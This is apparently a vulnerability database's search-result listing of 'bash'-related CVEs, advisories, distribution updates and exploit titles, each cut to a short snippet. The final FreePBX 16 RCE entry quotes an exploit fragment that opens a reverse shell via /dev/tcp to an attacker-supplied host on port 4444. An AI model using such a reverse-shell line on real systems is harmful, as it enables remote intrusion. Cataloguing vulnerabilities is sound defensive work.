3400 matches found
PT-2024-31764
Name of the Vulnerable Software and Affected Versions: Arista Wireless Access Points affected versions not specified Description: The issue allows an entity with the ability to authenticate via SSH to an affected Arista Wireless Access Point as the config user to cause a privilege escalation via...
CVE-2024-4578: Improper Neutralization of Special Elements used in a Command
This Advisory describes an issue that impacts Arista Wireless Access Points. Any entity with the ability to authenticate via SSH to an affected AP as the “config” user is able to cause a privilege escalation via spawning a bash shell. The SSH CLI session does not require high permissions to explo...
Malicious code in beer-bash (RubyGems)
--- -= Per source details. Do not edit below this line.=-...
MAL-2024-6769 Malicious code in beer-bash (RubyGems)
--- -= Per source details. Do not edit below this line.=-...
CVE-2024-6240
Improper privilege management vulnerability in Parallels Desktop Software, which affects versions earlier than 19.3.0. An attacker could add malicious code in a script and populate the BASHENV environment variable with the path to the malicious script, executing on application startup. An attacke...
CVE-2024-6240
Improper privilege management vulnerability in Parallels Desktop Software, which affects versions earlier than 19.3.0. An attacker could add malicious code in a script and populate the BASHENV environment variable with the path to the malicious script, executing on application startup. An attacke...
PT-2024-37473
Name of the Vulnerable Software and Affected Versions: Parallels Desktop Software versions prior to 19.3.0 Description: The issue is related to improper privilege management, allowing an attacker to escalate privileges on the system. This can be achieved by adding malicious code to a script and...
CVE-2022-48750 hwmon: (nct6775) Fix crash in clear_caseopen
In the Linux kernel, the following vulnerability has been resolved: hwmon: nct6775 Fix crash in clearcaseopen Paweł Marciniak reports the following crash, observed when clearing the chassis intrusion alarm. BUG: kernel NULL pointer dereference, address: 0000000000000028 PGD 0 P4D 0 Oops: 0000 1...
Exploit for Code Injection in Rejetto Http_File_Server
CVE-2024-23692-EXP bash bash CVE-2024-...
OPENSUSE-SU-2024:13939-1 python-tqdm-bash-completion-4.66.4-1.1 on GA media
These are all security issues fixed in the python-tqdm-bash-completion-4.66.4-1.1 package on the GA media of openSUSE Tumbleweed...
OPENSUSE-SU-2024:10106-1 bash-4.4-92.1 on GA media
These are all security issues fixed in the bash-4.4-92.1 package on the GA media of openSUSE Tumbleweed...
bash bug fix and enhancement update
An update is available for bash. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list For detailed information on changes in this release, see the Rocky Linux 8.10...
curl: Denial of Service in curl Request - HTTP headers eat all memory
Vulnerability description not provided...
Exploit for OS Command Injection in Php
PHP RCE PoC CVE-2024-4577: Argument Injection in PHP-CGI...
Exploit for Improper Initialization in Linux Linux_Kernel
CVE-2022-0847-dirty-pipe-checker Bash script to check for CVE-...
RHEL 5 : bash (Unpatched Vulnerability)
The remote Redhat Enterprise Linux 5 host has one or more packages installed that are affected by multiple vulnerabilities that have been acknowledged by the vendor but will not be patched. - bash: Specially crafted SHELLOPTS+PS4 variables allows command substitution CVE-2016-7543 - The expansion...
RHEL 7 : bash (Unpatched Vulnerability)
The remote Redhat Enterprise Linux 7 host has one or more packages installed that are affected by multiple vulnerabilities that have been acknowledged by the vendor but will not be patched. - bash: when effective UID is not equal to its real UID the saved UID is not dropped CVE-2019-18276 - A...
FreePBX 16 - Remote Code Execution (Authenticated) Exploit
Exploit Title: FreePBX 16 - Remote Code Execution RCE Authenticated Exploit Author: Cold z3ro Tested on: 14,15,16 Vendor: https://www.freepbx.org/ %26 /dev/tcp/'.$backconnectip.'/4444 0%261'; curlsetopt$ch, CURLOPTSSLVERIFYHOST, false; curlsetopt$ch, CURLOPTSSLVERIFYPEER, false; echo $response =...